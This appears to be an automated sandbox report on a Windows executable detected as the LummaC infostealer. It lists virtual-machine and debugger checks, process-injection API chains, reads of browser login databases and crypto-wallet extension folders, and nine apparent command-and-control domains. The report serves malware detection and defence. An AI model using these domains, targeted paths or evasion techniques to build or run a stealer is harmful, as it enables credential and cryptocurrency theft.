Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00417CF1	2_2_00417CF1
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004284B0	2_2_004284B0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00416548	2_2_00416548
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F550	2_2_0043F550
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041FD70	2_2_0041FD70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00423D70	2_2_00423D70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00439500	2_2_00439500
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041E524	2_2_0041E524
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00425DC0	2_2_00425DC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041F650	2_2_0041F650
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00415656	2_2_00415656
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043666A	2_2_0043666A
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042667A	2_2_0042667A
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00409600	2_2_00409600
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00416E10	2_2_00416E10
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00439E27	2_2_00439E27
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00428633	2_2_00428633
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042AEE0	2_2_0042AEE0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004176E3	2_2_004176E3
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00411EED	2_2_00411EED
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041D6F4	2_2_0041D6F4
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00402F40	2_2_00402F40
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043C770	2_2_0043C770
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00406700	2_2_00406700
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040AF0D	2_2_0040AF0D
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042DF11	2_2_0042DF11
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00437F20	2_2_00437F20
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00447FC7	2_2_00447FC7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041AFD7	2_2_0041AFD7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004227F0	2_2_004227F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041988F	2_2_0041988F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00418328	2_2_00418328
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00425FA6	2_2_00425FA6
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00430FA9	2_2_00430FA9
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008F0060	2_2_008F0060
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008E6127	2_2_008E6127
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008FB59E	2_2_008FB59E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008EA982	2_2_008EA982
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008FBD99	2_2_008FBD99
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008FDFE2	2_2_008FDFE2

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: String function: 008E6640 appears 94 times
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: String function: 008EE8C8 appears 42 times
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: String function: 00408020 appears 50 times
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: String function: 004150E0 appears 44 times
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: String function: 008F32CD appears 34 times

Source: 6QLvb9i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6QLvb9i.exe	Static PE information: Section: .BSS ZLIB complexity 1.0003260588842975
Source: 6QLvb9i.exe	Static PE information: Section: .BSS ZLIB complexity 1.0003260588842975

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_00438810 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00438810

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03

Source: 6QLvb9i.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\6QLvb9i.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6QLvb9i.exe, 00000002.00000003.1757097320.0000000005581000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1746270203.00000000055B7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6QLvb9i.exe

Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\6QLvb9i.exe

File read: C:\Users\user\Desktop\6QLvb9i.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\6QLvb9i.exe "C:\Users\user\Desktop\6QLvb9i.exe"
Source: C:\Users\user\Desktop\6QLvb9i.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6QLvb9i.exe	Process created: C:\Users\user\Desktop\6QLvb9i.exe "C:\Users\user\Desktop\6QLvb9i.exe"
Source: C:\Users\user\Desktop\6QLvb9i.exe	Process created: C:\Users\user\Desktop\6QLvb9i.exe "C:\Users\user\Desktop\6QLvb9i.exe"	Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 6QLvb9i.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 6QLvb9i.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 6QLvb9i.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 6QLvb9i.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 6QLvb9i.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008E6763 push ecx; ret	0_2_008E6776
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F1F0 push eax; mov dword ptr [esp], 727D7C0Fh	2_2_0043F1F2
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008E6763 push ecx; ret	2_2_008E6776

Source: C:\Users\user\Desktop\6QLvb9i.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\6QLvb9i.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\6QLvb9i.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

Window / User API: threadDelayed 6859

Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21548

Source: C:\Users\user\Desktop\6QLvb9i.exe

API coverage: 10.0 %

Source: C:\Users\user\Desktop\6QLvb9i.exe TID: 7464	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe TID: 7604	Thread sleep count: 6859 > 30			Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\6QLvb9i.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\6QLvb9i.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_008F82A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_008F82A9

Source: 6QLvb9i.exe, 00000002.00000003.1846570849.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977725088.000000000302C000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1735225561.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1867347246.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476935433.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1827746291.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1847036720.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977854633.0000000003069000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1827362237.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\6QLvb9i.exe

API call chain: ExitProcess graph end node

graph_2-35917

Source: C:\Users\user\Desktop\6QLvb9i.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_0043DCD0 LdrInitializeThunk,

2_2_0043DCD0

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_008E64BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_008E64BF

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_0091519E mov edi, dword ptr fs:[00000030h]	0_2_0091519E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008D1BA0 mov edi, dword ptr fs:[00000030h]	0_2_008D1BA0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008D1BA0 mov edi, dword ptr fs:[00000030h]	2_2_008D1BA0

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_008F3BE0 GetProcessHeap,

0_2_008F3BE0

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008E60FF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008E60FF
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008E64BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008E64BF
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008E64B3 SetUnhandledExceptionFilter,	0_2_008E64B3
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008EE600 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008EE600
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008E60FF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_008E60FF
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008E64BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_008E64BF
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008E64B3 SetUnhandledExceptionFilter,	2_2_008E64B3
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_008EE600 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_008EE600

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_0091519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0091519E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\6QLvb9i.exe

Memory written: C:\Users\user\Desktop\6QLvb9i.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: 6QLvb9i.exe, 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: undesirabkel.click

Source: C:\Users\user\Desktop\6QLvb9i.exe

Process created: C:\Users\user\Desktop\6QLvb9i.exe "C:\Users\user\Desktop\6QLvb9i.exe"

Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	0_2_008F34BD
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_008F7547
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	0_2_008F7798
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_008F7840
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	0_2_008F7A93
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	0_2_008F7BD5
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	0_2_008F7B00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_008F7CC7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	0_2_008F7C20
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	0_2_008F7DCD
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	0_2_008F2FB5
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	2_2_008F34BD
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_008F7547
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	2_2_008F7798
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_008F7840
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	2_2_008F7A93
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: EnumSystemLocalesW,	2_2_008F7BD5
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	2_2_008F7B00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_008F7CC7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	2_2_008F7C20
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	2_2_008F7DCD
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: GetLocaleInfoW,	2_2_008F2FB5

Source: C:\Users\user\Desktop\6QLvb9i.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_008E6AB4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_008E6AB4

Source: C:\Users\user\Desktop\6QLvb9i.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: 6QLvb9i.exe, 00000002.00000003.1846570849.0000000003042000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977770857.0000000003045000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1847036720.0000000003042000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1867347246.0000000003042000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1841579135.0000000003042000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2477064562.0000000003043000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\6QLvb9i.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 6QLvb9i.exe PID: 7448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 6QLvb9i.exe, 00000002.00000003.1846570849.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ts","m":["*"],"z":"Wallets/Electrum","d":0,"fs":
Source: 6QLvb9i.exe, 00000002.00000003.1837465002.00000000030BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 6QLvb9i.exe, 00000002.00000003.1827411101.00000000030BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 6QLvb9i.exe, 00000002.00000003.1846570849.0000000003042000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 6QLvb9i.exe, 00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 6QLvb9i.exe, 00000002.00000003.1846570849.0000000003042000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 6QLvb9i.exe, 00000002.00000003.1827197749.0000000003038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 6QLvb9i.exe, 00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
